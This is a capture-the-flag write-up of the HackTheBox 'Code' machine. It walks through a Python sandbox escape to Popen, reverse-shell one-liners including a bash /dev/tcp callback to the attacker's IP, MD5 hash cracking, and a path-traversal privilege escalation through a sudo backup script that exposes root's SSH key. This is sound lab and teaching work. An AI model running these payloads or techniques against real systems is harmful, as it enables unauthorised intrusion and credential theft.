Code
- ๐ Website: HackTheBox
- ๐ฅ Level: Easy
- ๐ฅ๏ธ OS: Linux
- ๐ Link: Code
Foothold¶
Let's start with a simple nmap
scan to identify open ports on the target machine:
โโ(kaliใฟkali)-[~/Desktop/HTB/Machines/Code]
โโ$ nmap -p- --min-rate=10000 $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-25 16:23 CET
Nmap scan report for 10.10.11.62
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
We found two open ports: 22 (SSH) and 5000 (HTTP). Next, let's run an nmap
scan with service detection scripts on these ports:
โโโ(kaliใฟkali)-[~/Desktop/HTB/Machines/Code]
โโ$ nmap -p22,5000 -sC -sV $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-25 16:23 CET
Nmap scan report for 10.10.11.62
Host is up (0.025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
This is a Python terminal. Let's try to interact with it. I signed up and noticed that there is a way to save code snippets, which are displayed with an ID.
Using Burp Intruder, I checked if there are other saved codes but found nothing.
Next, I tried to run a reverse shell script:
import os
import socket
import pty
s=socket.socket()
s.connect(rhost,rport)
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")
However, the terminal returned an error:
Maybe we can try to run a reverse shell with encoding. I encoded the script using CyberChef:
import os,pty,socket;s=socket.socket();s.connect(("10.10.xx.yy",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
aW1wb3J...
I tried but nothing worked. Then, I attempted a Server-Side Template Injection (SSTI) approach:
for i in range(len(''.__class__.__mro__[1].__subclasses__())):
s = str(''.__class__.__mro__[1].__subclasses__()[i])
if "sub" in s:
print(i,s)
I found Popen
in index 317
. After some trial and error, this is the final payload:
p = ''.__class__.__mro__[1].__subclasses__()[317]
p("bash -c 'bash -i >& /dev/tcp/10.10.14.153/9001 0>&1'", shell=True)
I set up a listener on my machine:
โโโ(kaliใฟkali)-[~/Desktop/HTB/Machines/Code]
โโ$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.153] from (UNKNOWN) [10.10.11.62] 47596
bash: cannot set terminal process group (143189): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami
whoami
app-production
I try to get a full interactive shell. User.txt in user home
{REDACTED}
Privesc¶
To escalate privileges, I will use linpeas.sh
, which I transferred to the target machine using uploadserver
and wget
. After running linpeas.sh
, I found an interesting app folder in my home directory:
app-production@code:~/app$ ls
app.py instance linpeas.sh __pycache__ static templates
app-production@code:~/app$ ls -la
total 856
drwxrwxr-x 6 app-production app-production 4096 Mar 25 15:27 .
drwxr-x--- 6 app-production app-production 4096 Mar 25 15:26 ..
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 Mar 25 15:28 instance
-rwxr-xr-x 1 app-production app-production 840082 Mar 25 14:54 linpeas.sh
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxr-xr-x 3 app-production app-production 4096 Aug 27 2024 static
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates
app-production@code:~/app$ cd instance/
app-production@code:~/app/instance$ ls
database.db
app-production@code:~/app/instance$
In the database, I found a hashed password for the user martin
:
It's an MD5 hash, so I checked it on Crackstation:
The password was cracked successfully:
I used these credentials to log in via SSH:
martin@code:~$ ls -la
total 40
drwxr-x--- 6 martin martin 4096 Mar 25 15:40 .
drwxr-xr-x 4 root root 4096 Aug 27 2024 ..
drwxr-xr-x 2 martin martin 4096 Mar 25 15:41 backups
lrwxrwxrwx 1 root root 9 Aug 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin 220 Aug 27 2024 .bash_logout
-rw-r--r-- 1 martin martin 3771 Aug 27 2024 .bashrc
drwx------ 2 martin martin 4096 Mar 25 15:41 .cache
drwxrwxr-x 3 martin martin 4096 Mar 25 15:41 .local
-rw-r--r-- 1 martin martin 807 Aug 27 2024 .profile
lrwxrwxrwx 1 root root 9 Aug 27 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Aug 27 2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Sep 16 2024 .ssh
-rw-rw-r-- 1 martin martin 140 Mar 25 15:40 task.json
Checking for sudo privileges, I found that martin
can run a script called backy.sh
as root without a password:
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Let's inspect the backy.sh
script:
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
We can create a custom JSON file to backup the root.txt
file. The allowed directories are /var
and /home
, so we can use a path traversal technique:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/var/../root"
],
}
Run the backy.sh
script with our custom JSON file:
martin@code:~$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
2025/03/25 15:51:56 ๐ backy 1.2
2025/03/25 15:51:56 ๐ Working with /home/martin/backups/task.json ...
2025/03/25 15:51:56 ๐ค Nothing to sync
2025/03/25 15:51:56 ๐ค Archiving: [/var/../root]
2025/03/25 15:51:56 ๐ฅ To: /home/martin ...
2025/03/25 15:51:56 ๐ฆ
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
martin@code:~$ ls
Extract the archived files:
martin@code:~$ ls
backups code_var_.._root_2025_March.tar.bz2 task.json
martin@code:~$ tar -xf code_var_.._root_2025_March.tar.bz2
martin@code:~$ ls
backups code_var_.._root_2025_March.tar.bz2 root task.json
martin@code:~$ cat root/root.txt
{redacted}
martin@code:~$
{redacted}